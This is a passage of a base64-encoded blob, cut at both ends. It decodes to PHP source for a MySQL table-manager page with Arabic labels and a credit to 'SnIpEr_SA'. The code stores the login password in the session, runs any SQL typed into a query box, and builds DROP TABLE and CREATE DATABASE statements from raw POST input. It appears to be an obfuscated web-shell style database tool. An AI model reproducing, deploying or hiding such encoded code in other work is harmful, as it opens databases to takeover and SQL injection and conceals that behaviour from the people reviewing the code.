oqKioqKipEaXNwbGF5IEZvb3RlcioqKioqKioqKioqKioqKioqKioqKioqKioNCi8vUGxlYXNlIGRvbid0IHJlbW92ZSBvciBjaGFuZ2UuDQpmdW5jdGlvbiBkaXNwbGF5X2Zvb3QoKXsNCg0KICAgIGVjaG8iPGRpdiBjbGFzcz0nZm9vdCc+VmVyc2lvbiAkdmVyc2lvbiAmY29weTsgIi5kYXRlKCdZJykuIiA8YSBzdHlsZT0ndGV4dC1kZWNvcmF0aW9uOm5vbmU7JyB0YXJnZXQ9J19ibGFuaycgaHJlZj0naHR0cDovL3d3dy5TbklwRXItU0EuY29tJz5TbklwRXJfU0E8L2E+PC9kaXY+IjsNCg0KICAgIH0NCi8vKioqKioqKioqKioqKk15IFNpemUqKioqKioqKioqKioqKioqKioqKioqKioqDQovL1JldHVybnMgdGhlIHNpemUgb2YgYSB0YWJsZSBvciBkYXRhYmFzZQ0KZnVuY3Rpb24gbXlzaXplKCRkYm5hbWUsICR0YWJsZW5hbWUpew0KICAgICRsaWtlPSIiOw0KICAgICR0b3RhbD0iIjsNCiAgICAkdD0wOw0KICAgIGlmKCR0YWJsZW5hbWUgIT0iIil7DQogICAgICAgICRsaWtlPSIgbGlrZSAnJHRhYmxlbmFtZSciOw0KICAgIH0NCiAgICAkc3FsPSAiU0hPVyBUQUJMRSBTVEFUVVMgRlJPTSAkZGJuYW1lICRsaWtlIjsNCiAgICAvLyRyZXN1bHQgPSBteXNxbF9xdWVyeSgkc3FsKTsNCiAgICAkcmVzdWx0PWV4ZXF1ZXJ5KCRzcWwsICR0YWJsZW5hbWUsICRkYm5hbWUpOw0KICAgIGlmKCRyZXN1bHQpew0KDQogICAgICAgIHdoaWxlKCRyZWMgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSl7DQogICAgICAgICAkdCs9KCRyZWNbJ0RhdGFfbGVuZ3RoJ10gKyAkcmVjWydJbmRleF9sZW5ndGgnXSk7DQogICAgICAgICB9DQogICAgICAgICR0b3RhbCA9IjxzcGFuIGNsYXNzPSdieXRlcyc+JHQgYnl0ZXM8L3NwYW4+IjsNCiAgICB9ZWxzZXsNCiAgICAgICAgJHRvdGFsPSJVbmtub3dlbiI7DQogICAgfQ0KICAgIHJldHVybigkdG90YWwpOw0KfQ0KDQoNCi8vKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioNCi8vREVCVUcgdG8gc2hvdyBhbGwgYmVpbmcgcGFzc2VkIHRvIHRoZSBwYWdlDQpmdW5jdGlvbiBzaG93cGFzc2luZ3ZhcnMoKXsNCiAgICAgICAgZWNobyJHZXQ6ICI7DQogICAgICAgICBmb3JlYWNoKCRfR0VUIGFzICRwcmFtPT4kdmFsdWUpew0KICAgICAgICAgICAgICAgICBlY2hvIiRwcmFtOiAkdmFsdWUsICI7DQogICAgICAgICB9DQogICAgICAgIGVjaG8iPGJyPlBvc3Q6ICI7DQogICAgICAgICBmb3JlYWNoKCRfUE9TVCBhcyAkcHJhbT0+JHZhbHVlKXsNCiAgICAgICAgICAgICAgICAgIGVjaG8iJHByYW06ICR2YWx1ZSwgIjsNCiAgICAgICAgIH0NCiAgICAgICAgIGVjaG8iPGJyPlNlc3Npb246ICI7DQogICAgICAgICBmb3JlYWNoKCRfU0VTU0lPTiBhcyAkcHJhbT0+JHZhbHVlKXsNCiAgICAgICAgICAgICAgICAgZWNobyIkcHJhbTogJHZhbHVlLCAiOw0KICAgICAgICAgfQ0KIH0NCmVjaG8iPGh0bWw+XG4iOw0KZWNobyI8bWV0YSBodHRwLWVxdWl2PSdDb250ZW50LVR5cGUnIGNvbnRlbnQ9J3RleHQvaHRtbDsgY2hhcnNldD13aW5kb3dzLTEyNTYnPlxuIjsNCmVjaG8iPGhlYWQ+XG4iOw0KZWNobyI8dGl0bGU+09/RyMogx+HHytXH4SDI3ubH2s8gx+HI7cfkx8o8L3RpdGxlPlxuIjsNCmVjaG8iPFNUWUxFPg0KDQpCT0RZDQogew0KICAgICAgICBTQ1JPTExCQVItRkFDRS1DT0xPUjogIzAwMDAwMDsgU0NST0xMQkFSLUhJR0hMSUdIVC1DT0xPUjogIzAwMDAwMDsgU0NST0xMQkFSLVNIQURPVy1DT0xPUjogIzAwMDAwMDsgQ09MT1I6ICNmZmZmZmY7IFNDUk9MTEJBUi0zRExJR0hULUNPTE9SOiAjNzI2NDU2OyBTQ1JPTExCQVItQVJST1ctQ09MT1I6ICM3MjY0NTY7IFNDUk9MTEJBUi1UUkFDSy1DT0xPUjogIzI5MjkyOTsgRk9OVC1GQU1JTFk6IFZlcmRhbmE7IFNDUk9MTEJBUi1EQVJLU0hBRE9XLUNPTE9SOiAjNzI2NDU2DQp9DQoNCnRyIHsNCkJPUkRFUi1SSUdIVDogICNjY2NjY2MgOw0KQk9SREVSLVRPUDogICAgI2NjY2NjYyA7DQpCT1JERVItTEVGVDogICAjY2NjY2NjIDsNCkJPUkRFUi1CT1RUT006ICNjY2NjY2MgOw0KY29sb3I6ICNmZmZmZmY7DQp9DQp0ZCB7DQpCT1JERVItUklHSFQ6ICAjY2NjY2NjIDsNCkJPUkRFUi1UT1A6ICAgICNjY2NjY2MgOw0KQk9SREVSLUxFRlQ6ICAgI2NjY2NjYyA7DQpCT1JERVItQk9UVE9NOiAjY2NjY2NjIDsNCmNvbG9yOiAjY2NjY2NjOw0KfQ0KLnRhYmxlMSB7DQpCT1JERVI6IDE7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMDAwMDAwOw0KY29sb3I6ICMzMzMzMzM7DQp9DQoudGQxIHsNCkJPUkRFUjogMTsNCmZvbnQ6IDdwdCB0YWhvbWE7DQpjb2xvcjogI2ZmZmZmZjsNCn0NCi50cjEgew0KQk9SREVSOiAxOw0KY29sb3I6ICNjY2NjY2M7DQp9DQp0YWJsZSB7DQpCT1JERVI6ICAjZWVlZWVlICBvdXRzZXQ7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMDAwMDAwOw0KY29sb3I6ICNjY2NjY2M7DQp9DQppbnB1dCB7DQpCT1JERVItUklHSFQ6ICAjOTkwMDAwIDEgc29saWQ7DQpCT1JERVItVE9QOiAgICAjOTkwMDAwIDEgc29saWQ7DQpCT1JERVItTEVGVDogICAjOTkwMDAwIDEgc29saWQ7DQpCT1JERVItQk9UVE9NOiAjOTkwMDAwIDEgc29saWQ7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMzMzMzMzOw0KZm9udDogOXB0IHRhaG9tYTsNCmNvbG9yOiAjZmZmZmZmOw0KfQ0Kc2VsZWN0IHsNCkJPUkRFUi1SSUdIVDogICNmZmZmZmYgMSBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICM5OTk5OTkgMSBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICM5OTk5OTkgMSBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICNmZmZmZmYgMSBzb2xpZDsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMwMDAwMDA7DQpmb250OiA5cHQgdGFob21hOw0KY29sb3I6ICNDQ0NDQ0M7Ow0KfQ0Kc3VibWl0IHsNCkJPUkRFUjogIGJ1dHRvbmhpZ2hsaWdodCAxIG91dHNldDsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMyNzI3Mjc7DQp3aWR0aDogNDAlOw0KY29sb3I6ICNjY2NjY2M7DQp9DQp0ZXh0YXJlYSB7DQpCT1JERVItUklHSFQ6ICAjZmZmZmZmIDEgc29saWQ7DQpCT1JERVItVE9QOiAgICAjOTk5OTk5IDEgc29saWQ7DQpCT1JERVItTEVGVDogICAjOTk5OTk5IDEgc29saWQ7DQpCT1JERVItQk9UVE9NOiAjZmZmZmZmIDEgc29saWQ7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMzMzMzMzOw0KZm9udDogRml4ZWRzeXMgYm9sZDsNCmNvbG9yOiAjZmZmZmZmOw0KfQ0KQk9EWSB7DQptYXJnaW46IDE7DQpjb2xvcjogI2NjY2NjYzsNCmJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7DQp9DQpBOmxpbmsge0NPTE9SOnJlZDsgVEVYVC1ERUNPUkFUSU9OOiBub25lfQ0KQTp2aXNpdGVkIHsgQ09MT1I6cmVkOyBURVhULURFQ09SQVRJT046IG5vbmV9DQpBOmFjdGl2ZSB7Q09MT1I6cmVkOyBURVhULURFQ09SQVRJT046IG5vbmV9DQpBOmhvdmVyIHtjb2xvcjpibHVlO1RFWFQtREVDT1JBVElPTjogbm9uZX0NCg0KPC9TVFlMRT5cbiI7DQplY2hvIjxtZXRhIGh0dHAtZXF1aXY9J0NvbnRlbnQtVHlwZScgY29udGVudD0ndGV4dC9odG1sIGNoYXJzZXQ9d2luZG93cy0xMjU2Jz4iOw0KZWNobyI8dGl0bGU+09/RyMogx+HHytXH4SDI3ubH2s8gx+HI7cfkx8o8L3RpdGxlPlxuIjsNCmVjaG8iPG1ldGEgbmFtZT0nYXV0aG9yJyBjb250ZW50PSdUb255IEFzbGV0dCc+IjsNCmVjaG8iPG1ldGEgbmFtZT0ndGl0bGUnIGNvbnRlbnQ9J1BIUDpNeVNRTCBUYWJsZSBNYW5hZ2VyJz4iOw0KZWNobyI8bWV0YSBuYW1lPSdkZXNjcmlwdGlvbicgY29udGVudD0nVGFibGUgTWFuYWdlciBmb3IgTXlTUUwgRGF0YWJhc2UnPiI7DQplY2hvIjxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaHJlZj0ndG1ncnN0eWxlcy5jc3MnIHR5cGU9J3RleHQvY3NzJz5cbiI7DQplY2hvIjwvaGVhZD5cbiI7DQplY2hvIjxib2R5PlxuIjsNCg0KJHNob3dhbGw9dHJ1ZTsNCmVjaG8iPGgyIGNsYXNzPWggPtPf0cjKIMfhx8rVx+EgyN7mx9rPIMfhyO3H5MfKPC9oMj5cbiI7DQovLyoqKioqKioqKioqKioqKioqKiogU2Vzc2lvbiBMb2dvbiAqKioqKioqKioqKioqKioqKioqKioqKg0KaWYoaXNzZXQoJF9QT1NUWydsb2dvdXQnXSkpew0KDQogICAgICAgICAgICAgICAgJF9QT1NUWydkYm5hbWUnXT0iIjsNCiAgICAgICAgICAgICAgICBzZXNzaW9uX3Vuc2V0KCk7DQogICAgICAgICAgICAgICAgc2Vzc2lvbl9kZXN0cm95KCk7DQp9DQppZihpc3NldCgkX1BPU1RbJ3VzZXJpZCddKSAmJiBpc3NldCgkX1BPU1RbJ3B3b3JkMSddKSl7DQogICAgICAgICRfU0VTU0lPTlsndXNlciddID0gJF9QT1NUWyd1c2VyaWQnXTsNCiAgICAgICAgJF9TRVNTSU9OWydwYXNzd29yZCddID0gJF9QT1NUWydwd29yZDEnXTsNCn0NCg0KaWYgKCFpc3NldCgkX1NFU1NJT05bJ3VzZXInXSkgfHwgIWlzc2V0KCRfU0VTU0lPTlsncGFzc3dvcmQnXSkpew0KICAgICAgICBlY2hvIjxkaXYgYWxpZ249Y2VudGVyPiI7DQogICAgICAgIGVjaG8iPGgyPsfPzuEgyO3H5MfKIMfh0+3R3dEgx+HjzsrR3jwvaDI+XG4iOw0KICAgICAgICBJZighaXNzZXQoJGRibmFtZWFycmF5KSl7DQogICAgICAgICAgICAgICAgJGRibmFtZWFycmF5PSIiOw0KICAgICAgICB9DQogICAgICAgIHNob3dfbG9naW4oJGRibmFtZWFycmF5KTsNCiAgICAgICAgZWNobyI8L2Rpdj4iOw0KfWVsc2V7DQogICAgICAgIC8vc2hvdyBsb2dvdXQgb3B0aW9uLg0KICAgICAgICBlY2hvIjxkaXYgYWxpZ249cmlnaHQ+IjsNCiAgICAgICAgZW5kc2VzcygpOw0KICAgICAgICBlY2hvIjwvZGl2PiI7DQp9DQovLyoqKioqZGJuYW1lDQppZihpc3NldCgkX1BPU1RbJ2RibmFtZSddKSl7DQogICAgICAgICRkYm5hbWU9JF9QT1NUWydkYm5hbWUnXTsNCiAgICAkX1NFU1NJT05bJ2RibmFtZSddPSAkX1BPU1RbJ2RibmFtZSddOw0KfQ0KLy8qKioqKiBIb3N0DQppZihpc3NldCgkX1BPU1RbJ2hvc3QnXSkpew0KICAgICRob3N0PSRfUE9TVFsnaG9zdCddOw0KICAgICRfU0VTU0lPTlsnaG9zdCddPSRfUE9TVFsnaG9zdCddOw0KfQ0KLy8qKioqKipzZXQgdGFibGVuYW1lDQppZihpc3NldCgkX0dFVFsndGFibGVuYW1lJ10pICl7DQogICAgICAgICR0YWJsZW5hbWU9JF9HRVRbJ3RhYmxlbmFtZSddOw0KfWVsc2VpZihpc3NldCgkX1BPU1RbJ3RhYmxlbmFtZSddKSl7DQogICAgICAgICR0YWJsZW5hbWU9JF9QT1NUWyd0YWJsZW5hbWUnXTsNCn0NCi8vKioqKioqKioqKiBwYWdlbWF4DQppZihpc3NldCgkX1BPU1RbJ3BhZ2VtYXgnXSkpeyAvLyYmIGlzX2ludCgkX1BPU1RbJ3BhZ2VtYXgnXSkpew0KICAgICRpc251bT10cnVlOw0KICAgIGZvcigkbz0wOyAkbzxjb3VudCgkX1BPU1RbJ3BhZ2VtYXgnXSk7ICRvKyspew0KICAgICAgICAgICAgaWYoJF9QT1NUWydwYWdlbWF4J11bJG9dPjkpew0KICAgICAgICAgICAgICAgICRpc251bT1mYWxzZTsNCiAgICAgICAgICAgIH0NCiAgICB9DQogICAgaWYoJF9QT1NUWydwYWdlbWF4J10+MCAmJiAkaXNudW0pew0KICAgICAgICAkX1NFU1NJT05bJ3BhZ2VtYXgnXT0kX1BPU1RbJ3BhZ2VtYXgnXTsNCiAgICB9DQp9DQogaWYoaXNzZXQoJF9TRVNTSU9OWydwYWdlbWF4J10pKXsNCiAgICAkcGFnZW1heD0kX1NFU1NJT05bJ3BhZ2VtYXgnXTsNCiB9DQovLyoqKioqKioqIGNyZWF0ZSBhIG5ldyBEYXRhYmFzZSAqKioqKioqKioqKioNCmlmKGlzc2V0KCRfUE9TVFsnY25kYiddKSl7DQogICAgY29ubmVjdG15c3FsKCk7DQogICAgICAgICRzcWw9ImNyZWF0ZSBkYXRhYmFzZSAkX1BPU1RbbmRibmFtZV0iOw0KICAgICAgICAkcmVzdWx0PWV4ZXF1ZXJ5KCRzcWwsICIgIiwgJF9QT1NUWyduZGJuYW1lJ10pOw0KICAgICAgICBpZiAoJHJlc3VsdCl7DQogICAgICAgICAgICAgICAgJF9TRVNTSU9OWydkYm5hbWUnXSA9ICRfUE9TVFsnbmRibmFtZSddOw0KICAgICAgICAkc3FsPSJVc2UgJF9QT1NUW25kYm5hbWVdIjsNCiAgICAgICAgICAgICRyZXN1bHQ9ZXhlcXVlcnkoJHNxbCwgIiAiLCAkX1BPU1RbJ25kYm5hbWUnXSk7DQogICAgICAgIGlmKCRyZXN1bHQpew0KICAgICAgICAgICAgZWNobyI8aDI+3sfaz8kgzM/tz8kgJF9TRVNTSU9OW2RibmFtZV0gPC9oMj5cbiI7DQogICAgICAgIH0NCiAgICAgICAgfQ0KfQ0KDQovLyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKg0KaWYgKCEgaXNzZXQoJF9TRVNTSU9OWydkYm5hbWUnXSkgJiYgISBpc3NldCgkZGJuYW1lYXJyYXkpICYmICEgaXNzZXQoJF9QT1NUWydkYm5hbWUnXSkgJiYgaXNzZXQoJF9TRVNTSU9OWyd1c2VyJ10pKXsgLy8qKioqKioqKipwb3N0DQogICAgICAgIC8vRGF0YWJzZSBuYW1lcw0KICAgICAgICBzaG93ZGIoKTsNCn0NCi8vKioqKioqKioqKioqKioqKioqKioqKioqIENob29zZSBEQiAqKioqKioqKioqKioqDQppZihpc3NldCgkX1BPU1RbJ2RibmFtZSddKSAmJiAkX1BPU1RbJ2RibmFtZSddPT0iIil7DQogICAgc2hvd2RiKCk7DQp9DQoNCi8vKioqKioqKioqKg0KaWYgKGlzc2V0KCRfU0VTU0lPTlsnZGJuYW1lJ10pIHx8IGlzc2V0KCRfUE9TVFsnZGJuYSddKSB8fCBpc3NldCgkX1BPU1RbJ2RibmFtZSddKSl7DQovLyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioNCiAgICAgICAgICAgICAgICAvL2Nvbm5lY3Rpb24NCg0KICAgICAgICAgICAgICAgIGlmIChpc3NldCgkX1NFU1NJT05bJ2RibmFtZSddKSl7DQogICAgICAgICAgICAgICAgICAgICAgICAkZGJzZXRuYW1lID0gJF9TRVNTSU9OWydkYm5hbWUnXTsNCiAgICAgICAgICAgICAgICB9ZWxzZWlmKGlzc2V0KCRfUE9TVFsnZGJuYW1lJ10pKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICRkYnNldG5hbWUgPSAkX1BPU1RbJ2RibmFtZSddOw0KICAgICAgICAgICAgICAgICAgICAgICAgJF9TRVNTSU9OWydkYm5hbWUnXSA9ICRfUE9TVFsnZGJuYW1lJ107DQogICAgICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgICAgICAgICAkZGJzZXRuYW1lID0gJF9QT1NUWydkYm5hJ107DQogICAgICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2RibmFtZSddID0gJF9QT1NUWydkYm5hJ107DQogICAgICAgICAgICAgICAgfQ0KfQ0KLy8qKioqKioqKioqKioqKioqKioqKioqKioqKiogd2UgaGF2ZSBhIERCIHNldA0KaWYoaXNzZXQoJGRic2V0bmFtZSkgJiYgJGRic2V0bmFtZSE9IiIpew0KICAgICAgICAgICAgICAgICAgICAkbGluaz0gY29ubmVjdG15c3FsKCk7DQogICAgICAgICAgICAvL2VjaG8iREJTOiAkZGJzZXRuYW1lIjsNCiAgICAgICAgICAgICAgICAgICAgJGNvbm4gPSBjb25uZWN0ZGIoJGRic2V0bmFtZSwgJGxpbmspOw0KDQovLyoqKioqKioqKioqIERyb3AgVGFibGUgKioqKioqKioqKioqKioNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydkZWx0YWJsZSddKSl7DQogICAgICAgICRzaG93YWxsPWZhbHNlOw0KICAgICAgICAgICAgICAgICR0YWJsZW5hbWU9JF9QT1NUWyd0YWJsZW5hbWUnXTsNCiAgICAgICAgICAgICAgICBlY2hvIjxoMT4hISEgys3Q7dEgISEhIDxicj7H5Mogys3H5uEg49PNIOXQxyDH4czP5uEgJHRhYmxlbmFtZTxicj4iOw0KICAgICAgICAgICAgICAgIGVjaG8i5eEgx+TKIOPKx9/PIOPkIMfh3u3H4yDIx+Ha4+Ht5b8/PC9oMT5cbiI7DQogICAgICAgICAgICAgICAgJHZhPSJEcm9wICR0YWJsZW5hbWUiOw0KICAgICAgICAgICAgICAgIGdvdG8oJHRhYmxlbmFtZSwgJGRibmFtZSwkYWN0aW9uLCAnZGVsJywgJ2Ryb3B0YWInLCAkdmEgKTsNCiAgICAgICAgfQ0KICAgICAgICBpZihpc3NldCgkX1BPU1RbJ2Ryb3B0YWInXSkpew0KICAgICAgICAgICAgICAgICR0YWJsZW5hbWU9JF9QT1NUWyd0YWJsZW5hbWUnXTsNCiAgICAgICAgICAgICAgICAkZHNxbCA9ICJkcm9wIHRhYmxlICR0YWJsZW5hbWUiOw0KICAgICAgICAgICAgICAgICRyZXN1bHQ9ZXhlcXVlcnkoJGRzcWwsICR0YWJsZW5hbWUsICRkYm5hbWUpOw0KICAgICAgICAgICAgICAgIHVuc2V0KCR0YWJsZW5hbWUpOyAvLz0iZmFsc2UiOw0KICAgICAgICAgICAgICAgIHVuc2V0KCRfUE9TVFsndGFibGVuYW1lJ10pOw0KICAgICAgICB9DQovLyoqKioqKioqKioqKioqKioqV3JpdGUgWW91ciBPd24gUXVlcnkgKioqKioqKioqKioqKioqKioNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWyd3eW9xJ10pKXsgIC8vcG9zdA0KICAgICAgICAgICAgICAgICR2YWx1ZT0ix+Hmx8zl5SDH4dHG7dPt5SDh4dPf0cjKIjsNCiAgICAgICAgICAgICAgICBnb3RvKCR0YWJsZW5hbWUsICRkYm5hbWUsICRhY3Rpb24sICdidXQnLCAnc3RhcnQnLCAkdmFsdWUgKTsNCiAgICAgICAgICAgICAgICBlY2hvIjxmb3JtIG1ldGhvZD0ncG9zdCc+XG4iOw0KICAgICAgICAgICAgICAgIGVjaG8iPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nZGJuYW1lJyB2YWx1ZT0kZGJuYW1lPlxuIjsNCiAgICAgICAgICAgICAgICAvL2VjaG8iPGlucHV0IHR5cGU9dGV4dCBuYW1lPSd3eXFvdGEnIHdpZHRoPSc1MDBweCcgc3R5bGU9J292ZXJmbG93LXg6dmlzaWJsZTsnPlxuIjsNCg0KICAgICAgICAgICAgICAgIGVjaG8iPHRleHRhcmVhIG5hbWU9J3d5b3F0YScgY29scz0nNjAnIHJvd3M9JzUnIHN0eWxlPSdvdmVyZmxvdy15OnZpc2libGUnPjwvdGV4dGFyZWE+XG4iOw0KDQogICAgICAgICAgICAgICAgZWNobyI8YnI+PGlucHV0IGNsYXNzPWJ1dCB0eXBlPXN1Ym1pdCBuYW1lPSdydW5xdWVyeScgdmFsdWU9J0V4ZWN1dGUgUXVlcnknPlxuIjsNCiAgICAgICAgICAgICAgICBlY2hvIjwvZm9ybT48YnI+XG4iOw0KICAgICAgICB9DQoNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydydW5xdWVyeSddKSl7DQogICAgICAgICAgICAgICAgJHd5b3F0YSA9IFN0cmlwU2xhc2hlcygkX1BPU1RbJ3d5b3F0YSddKTsNCiAgICAgICAgICAgICAgICAkcmVzdWx0PWV4ZXF1ZXJ5KCR3eW9xdGEsICIgIiwgIiAiKTsNCg0KICAgICAgICAgICAgICAgIGlmKEBteXNxbF9udW1fcm93cygkcmVzdWx0KSA+MCl7DQogICAgICAgICAgICAgICAgICAgICAgICAgJG51bXJvd3M9bXlzcWxfbnVtX3Jvd3MoJHJlc3VsdCk7DQogICAgICAgICAgICAgICAgICAgICAgICAkZmxkcz1teXNxbF9udW1fZmllbGRzKCRyZXN1bHQpOw0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyI8dGFibGU+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgIGZvcigkcj0wOyAkciA8ICRudW1yb3dzOyAkcisrKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyI8dHI+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJvdz1teXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yKCRjb2wgPSAwOyAkY29sIDwgJGZsZHM7ICRjb2wgKyspew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRuc2xhc2ggPSBTdHJpcFNsYXNoZXMoJHJvd1skY29sXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyI8dGQ+JG5zbGFzaDwvdGQ+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIjwvdHI+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8iPC90YWJsZT4iOw0KICAgICAgICAgICAgICAgIH1lbHNlaWYgKG15c3FsX2FmZmVjdGVkX3Jvd3MoKSl7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvIiBOdW1iZXIgb2YgUm93cyBhZmZlY3RlZDogIi5teXNxbF9hZmZlY3RlZF9yb3dzKCk7DQogICAgICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvIiBOb3RoaW5nIHJldHVybmVkIGZyb20gdGhlIHF1ZXJ5LiI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICB9DQovLyAqKioqKioqKioqKioqKioqTGlzdCBUYWJsZXMqKioqKioqKioqKioqKioqKioqKioqKioqKioNCg0KICAgICAgICBpZiggISBpc3NldCgkdGFibGVuYW1lKSB8fCAkdGFibGVuYW1lPT0iICIgKXsNCiAgICAgICAgICAgICAgICAkZGJuYW1lPSRfU0VTU0lPTlsnZGJuYW1lJ107DQogICAgICAgICAgICAgICAgJHJlc3VsdCA9IG15c3FsX2xpc3RfdGFibGVzKCRfU0VTU0lPTlsnZGJuYW1lJ10pOw0KICAgICAgICAgICAgICAgICAkbnVtdGFiID0gbXlzcWxfbnVtX3Jvd3MgKCRyZXN1bHQpOw0KICAgICAgICAgICAgICAgICBpZigkbnVtdGFiID09IDEpew0KICAgICAgICAgICAgICAgICAgICAgICAgJF9TRVNTSU9OWyd0YWJsZW5hbWUnXSA9bXlzcWxfdGFibGVuYW1lKCRyZXN1bHQsIDApOw0KICAgICAgICAgICAgICAgICB9DQoNCi8vKioqKioqKioqKioqKioqKiogQnV0dG9ucyAqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioNCiAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydydW5xdWVyeSddKSl7DQogICAgICAgICAgICAgICAgICAgICAgICAkZGJuYW1lPSRfU0VTU0lPTlsnZGJuYW1lJ107DQogICAgICAgICAgICAgICAgICAgICAgICAkdmFsdWU9IiRkYm5hbWUgU3RhcnQiOyAvL1RhYmxlIE1hbmFnZXIgU3RhcnQNCiAgICAgICAgICAgICAgICAgICAgICAgIGdvdG8oIiIsICRfU0VTU0lPTlsnZGJuYW1lJ10sICRhY3Rpb24sICdidXQnLCAndGFibGVzdGFydCcsICR2YWx1ZSApOw0KDQogICAgICAgICAgICAgICAgfWVsc2VpZiAoISBpc3NldCgkX1BPU1RbJ3d5b3EnXSkgJiYgISBpc3NldCgkX1BPU1RbJ3J1bnF1ZXJ5J10pKXsgLy93cml0ZSB5b3VyIG93biBxdWVyeS4NCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8iPHRhYmxlIHdpZHRoPTQwJSBib3JkZXI9MCBhbGlnbj0nbGVmdCcgPlxuIjsNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8iPHRyPjx0ZD4iOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAkdmE9IsXk1MfBIMzP5uEgzM/tzyI7DQogICAgICAgICAgICAgICAgICAgICAgICBnb3RvKCIiLCAkX1NFU1NJT05bJ2RibmFtZSddLCAiY3JlYXRlLnBocCIsICdidXQnLCAnY3JlYXRlJywgJHZhICk7DQogICAgICAgICAgLy8gIGVjaG8iPGEgaHJlZj1jcmVhdGUucGhwIGNsYXNzPSdjcnQnPkNyZWF0ZSBuZXcgVGFibGU8L2E+XG4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyI8L3RkPjx0ZD4iOw0KDQogICAgICAgICR2YWx1ZT0ix+Hmx8zl5SDH4dHG7dPt5SI7IC8vQ2hvb3NlIERCDQogICAgICAgICAgICAgICAgZ290bygiIiwgIiIsICRhY3Rpb24sICdidXQnLCAnZGInLCAkdmFsdWUgKTsNCiAgICAgICAgICAgICAgICBlY2hvIjwvdGQ+XG4iOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAkdmFsdWU9IldyaXRlIFlvdXIgT3duIFF1ZXJ5IjsNCiAgICAgICAgICAgICAgICAgICAgICAgIGdvdG8oIiAiLCAkX1NFU1NJT05bJ2RibmFtZSddLCAkYWN0aW9uLCAnYnV0JywgJ3d5b3EnLCAkdmFsdWUgKTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyI8L3RkPjwvdHI+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8iPC90YWJsZT48YnI+PGJyPjxicj48YnI+PGRpdiBzdHlsZT0nY2xlYXI6Ym90aDsnPjwvZGl2PiI7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8iPHRhYmxlIHdpZHRoPTEwMCUgYm9yZGVyPTAgYWxpZ249J2NlbnRlcicgPlxuIjsNCiAgICAgICAgICAgICAgICAgICAgICAgIGZvciAoJGkgPTA7ICRpIDwgJG51bXRhYjsgJGkrKykgew0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0Yl9uYW1lc1skaV0gPSBteXNxbF90YWJsZW5hbWUoJHJlc3VsdCwgJGkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIjx0ciBjbGFzcz0nZnJvdyc+PHRkIGFsaWduPSdjZW50ZXInPlxuIjsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdmE9ItrR1iDMz+bhICogJHRiX25hbWVzWyRpXSI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGdvdG8oJHRiX25hbWVzWyRpXSwgJF9TRVNTSU9OWydkYm5hbWUnXSwkYWN0aW9uLCAnYnV0JywgJHRiX25hbWVzWyRpXSwgJHZhICk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8iPC90ZD48dGQgIGFsaWduPSdjZW50ZXInIHZhbGlnbj0nbWlkZGxlJz5cbiI7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHZhPSLj080gzM/m4SAkdGJfbmFtZXNbJGldIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ290bygkdGJfbmFtZXNbJGldLCAkX1NFU1NJT05bJ2RibmFtZSddLCRhY3Rpb24sICdkZWwnLCAnZGVsdGFibGUnLCAkdmEgKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyI8L3RkPjx0ZCAgYWxpZ249J2NlbnRlcicgdmFsaWduPSdtaWRkbGUnPlxuIjsNCg0KICAgICAgICAgICAgICAgICA